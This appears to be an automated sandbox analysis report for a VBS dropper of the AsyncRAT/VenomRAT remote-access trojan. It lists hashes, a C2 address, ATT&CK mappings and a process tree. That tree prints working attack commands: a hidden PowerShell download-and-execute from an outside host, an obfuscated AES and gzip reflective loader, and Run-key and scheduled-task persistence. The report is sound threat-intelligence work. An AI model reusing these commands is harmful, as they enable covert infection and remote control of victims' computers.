asyncrat | 799e3743d0666a4d0def179260537e1711456f39949cc672ba356d15bca9c0be

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-12-2024 02:43

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General

Target

799e3743d0666a4d0def179260537e1711456f39949cc672ba356d15bca9c0be.vbs
Size

78KB
MD5

f4360392014f0bebc78d81bbf8b1bfec
SHA1

275ddf9b03cc98e1f0d599140e19c64d5a941fd9
SHA256

799e3743d0666a4d0def179260537e1711456f39949cc672ba356d15bca9c0be
SHA512

bfeded4bf8bd4e82226ec0b3b3abb7dfd9d328ce1216004bdd47bf997f3058a8cf8a5973ef4e01979dbfdb71cc2c9f73a731f70e58eec2106208d7dc08000a79
SSDEEP

1536:xO6AlDEJYMg1Z0BYBOMadTFA63RI3xMpFgLTljdKCHBlok:kblQJYZ1Z2YBLT2mSpFg6iEk

Score

10^/10

asyncrat venomrat dec2024 execution persistence rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Dec2024

45.88.88.7:6845

Mutex

zmkdvkzgwmnzhgvxwwk

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/2380-64-0x00000209CFD30000-0x00000209CFD48000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2380-64-0x00000209CFD30000-0x00000209CFD48000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
37	2380	powershell.exe
39	2380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3480	powershell.exe
2528	powershell.exe
2380	powershell.exe
4324	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftService = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\system.bat\""	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4324	powershell.exe
4324	powershell.exe
3480	powershell.exe
3480	powershell.exe
2528	powershell.exe
2528	powershell.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe
2380	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	3480	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeIncreaseQuotaPrivilege	2528	powershell.exe
Token: SeSecurityPrivilege	2528	powershell.exe
Token: SeTakeOwnershipPrivilege	2528	powershell.exe
Token: SeLoadDriverPrivilege	2528	powershell.exe
Token: SeSystemProfilePrivilege	2528	powershell.exe
Token: SeSystemtimePrivilege	2528	powershell.exe
Token: SeProfSingleProcessPrivilege	2528	powershell.exe
Token: SeIncBasePriorityPrivilege	2528	powershell.exe
Token: SeCreatePagefilePrivilege	2528	powershell.exe
Token: SeBackupPrivilege	2528	powershell.exe
Token: SeRestorePrivilege	2528	powershell.exe
Token: SeShutdownPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeSystemEnvironmentPrivilege	2528	powershell.exe
Token: SeRemoteShutdownPrivilege	2528	powershell.exe
Token: SeUndockPrivilege	2528	powershell.exe
Token: SeManageVolumePrivilege	2528	powershell.exe
Token: 33	2528	powershell.exe
Token: 34	2528	powershell.exe
Token: 35	2528	powershell.exe
Token: 36	2528	powershell.exe
Token: SeIncreaseQuotaPrivilege	2528	powershell.exe
Token: SeSecurityPrivilege	2528	powershell.exe
Token: SeTakeOwnershipPrivilege	2528	powershell.exe
Token: SeLoadDriverPrivilege	2528	powershell.exe
Token: SeSystemProfilePrivilege	2528	powershell.exe
Token: SeSystemtimePrivilege	2528	powershell.exe
Token: SeProfSingleProcessPrivilege	2528	powershell.exe
Token: SeIncBasePriorityPrivilege	2528	powershell.exe
Token: SeCreatePagefilePrivilege	2528	powershell.exe
Token: SeBackupPrivilege	2528	powershell.exe
Token: SeRestorePrivilege	2528	powershell.exe
Token: SeShutdownPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeSystemEnvironmentPrivilege	2528	powershell.exe
Token: SeRemoteShutdownPrivilege	2528	powershell.exe
Token: SeUndockPrivilege	2528	powershell.exe
Token: SeManageVolumePrivilege	2528	powershell.exe
Token: 33	2528	powershell.exe
Token: 34	2528	powershell.exe
Token: 35	2528	powershell.exe
Token: 36	2528	powershell.exe
Token: SeIncreaseQuotaPrivilege	2528	powershell.exe
Token: SeSecurityPrivilege	2528	powershell.exe
Token: SeTakeOwnershipPrivilege	2528	powershell.exe
Token: SeLoadDriverPrivilege	2528	powershell.exe
Token: SeSystemProfilePrivilege	2528	powershell.exe
Token: SeSystemtimePrivilege	2528	powershell.exe
Token: SeProfSingleProcessPrivilege	2528	powershell.exe
Token: SeIncBasePriorityPrivilege	2528	powershell.exe
Token: SeCreatePagefilePrivilege	2528	powershell.exe
Token: SeBackupPrivilege	2528	powershell.exe
Token: SeRestorePrivilege	2528	powershell.exe
Token: SeShutdownPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeSystemEnvironmentPrivilege	2528	powershell.exe
Token: SeRemoteShutdownPrivilege	2528	powershell.exe
Token: SeUndockPrivilege	2528	powershell.exe
Token: SeManageVolumePrivilege	2528	powershell.exe
Token: 33	2528	powershell.exe
Token: 34	2528	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2380	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1964 wrote to memory of 4324	1964	WScript.exe	83
PID 1964 wrote to memory of 4324	1964	WScript.exe	83
PID 1964 wrote to memory of 4192	1964	WScript.exe	101
PID 1964 wrote to memory of 4192	1964	WScript.exe	101
PID 4192 wrote to memory of 2492	4192	cmd.exe	103
PID 4192 wrote to memory of 2492	4192	cmd.exe	103
PID 4192 wrote to memory of 3480	4192	cmd.exe	104
PID 4192 wrote to memory of 3480	4192	cmd.exe	104
PID 3480 wrote to memory of 2528	3480	powershell.exe	105
PID 3480 wrote to memory of 2528	3480	powershell.exe	105
PID 3480 wrote to memory of 2880	3480	powershell.exe	108
PID 3480 wrote to memory of 2880	3480	powershell.exe	108
PID 2880 wrote to memory of 2396	2880	WScript.exe	109
PID 2880 wrote to memory of 2396	2880	WScript.exe	109
PID 2396 wrote to memory of 3332	2396	cmd.exe	111
PID 2396 wrote to memory of 3332	2396	cmd.exe	111
PID 2396 wrote to memory of 2380	2396	cmd.exe	112
PID 2396 wrote to memory of 2380	2396	cmd.exe	112

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\799e3743d0666a4d0def179260537e1711456f39949cc672ba356d15bca9c0be.vbs"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7YiAJ5/sPelca+hTcek78jxnU9ioiOBmM7qe4UB010A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('K5VNkdetZe//Td3nkfB/hw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zGnmY=New-Object System.IO.MemoryStream(,$param_var); $gcYTH=New-Object System.IO.MemoryStream; $twAan=New-Object System.IO.Compression.GZipStream($zGnmY, [IO.Compression.CompressionMode]::Decompress); $twAan.CopyTo($gcYTH); $twAan.Dispose(); $zGnmY.Dispose(); $gcYTH.Dispose(); $gcYTH.ToArray();}function execute_function($param_var,$param2_var){ $nREcc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hmWZi=$nREcc.EntryPoint; $hmWZi.Invoke($null, $param2_var);}$BBtPh = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $BBtPh;$VJQrS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BBtPh).Split([Environment]::NewLine);foreach ($EvXNX in $VJQrS) { if ($EvXNX.StartsWith('jVPqiiWHWVTrLedMZeIO')) { $Qjyhd=$EvXNX.Substring(20); break; }}$payloads_var=[string[]]$Qjyhd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_918_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_918.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2528
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_918.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2880
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_918.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2396
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7YiAJ5/sPelca+hTcek78jxnU9ioiOBmM7qe4UB010A='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('K5VNkdetZe//Td3nkfB/hw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zGnmY=New-Object System.IO.MemoryStream(,$param_var); $gcYTH=New-Object System.IO.MemoryStream; $twAan=New-Object System.IO.Compression.GZipStream($zGnmY, [IO.Compression.CompressionMode]::Decompress); $twAan.CopyTo($gcYTH); $twAan.Dispose(); $zGnmY.Dispose(); $gcYTH.Dispose(); $gcYTH.ToArray();}function execute_function($param_var,$param2_var){ $nREcc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hmWZi=$nREcc.EntryPoint; $hmWZi.Invoke($null, $param2_var);}$BBtPh = 'C:\Users\Admin\AppData\Roaming\Windows_Log_918.bat';$host.UI.RawUI.WindowTitle = $BBtPh;$VJQrS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($BBtPh).Split([Environment]::NewLine);foreach ($EvXNX in $VJQrS) { if ($EvXNX.StartsWith('jVPqiiWHWVTrLedMZeIO')) { $Qjyhd=$EvXNX.Substring(20); break; }}$payloads_var=[string[]]$Qjyhd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3332
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
aa8efa56e1e40374bbd21e0e469dceb7

SHA1
33a592799d4898c6efdd29e132f2f76ec51dbc08

SHA256
25eb4f899ae8f90b66b9342781456700d1af487f6f302fe5a727328b026f6bdf

SHA512
ad6de575b83db36b239317e4c46a1eaeb0383d5909a12b69ee2b38798c2b5cb0d19b464f5689037501d20592d92c4d3d84f0e49fdb1c0648b6593481a183f096

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_np3e0t2b.j5e.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
69KB

MD5
67fdaf4f143ad3cdab6f3c542076b194

SHA1
8a7474470f2c47e3f301aef70da5ef415c38cff2

SHA256
f10e4792e78f14998d0334d5d35b5efa825581c917a80e6d8ee096ee714e0c7e

SHA512
64d68d7e8dbad526a2d4d09f4a3ba8b2a28a97a79123ad303c3aea39be8652fc2ad9fdc3f85ddbf68c0713e6186b8219774cd6c46cf90ac3f6a61711b62939e4

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_918.vbs

Filesize
115B

MD5
5fe9fd23a888597f6644bb7b1c67f72d

SHA1
e937334b8502492f462f65bdacb3b9140f2ea6c2

SHA256
c835832b2baf664dfb7e17f7c486912383790b59dfc48232ba32eb7078079f22

SHA512
01051076a10255b7ad9a89f2f360f0ff31c1cd816289aff28a30c272a600014392998041a9ebaf3192ef1b5a43f52eb1e02f02098c3ad67b95a4b4b72fbe4215

Download Submit
memory/2380-64-0x00000209CFD30000-0x00000209CFD48000-memory.dmp

Filesize
96KB

Download
memory/3480-34-0x000001F0D5020000-0x000001F0D5028000-memory.dmp

Filesize
32KB

Download
memory/3480-32-0x000001F0D53D0000-0x000001F0D5414000-memory.dmp

Filesize
272KB

Download
memory/3480-33-0x000001F0D54A0000-0x000001F0D5516000-memory.dmp

Filesize
472KB

Download
memory/3480-35-0x000001F0D5030000-0x000001F0D5042000-memory.dmp

Filesize
72KB

Download
memory/4324-17-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/4324-14-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/4324-0-0x00007FF9A4C43000-0x00007FF9A4C45000-memory.dmp

Filesize
8KB

Download
memory/4324-13-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/4324-12-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/4324-11-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/4324-1-0x0000017ADCFB0000-0x0000017ADCFD2000-memory.dmp

Filesize
136KB

Download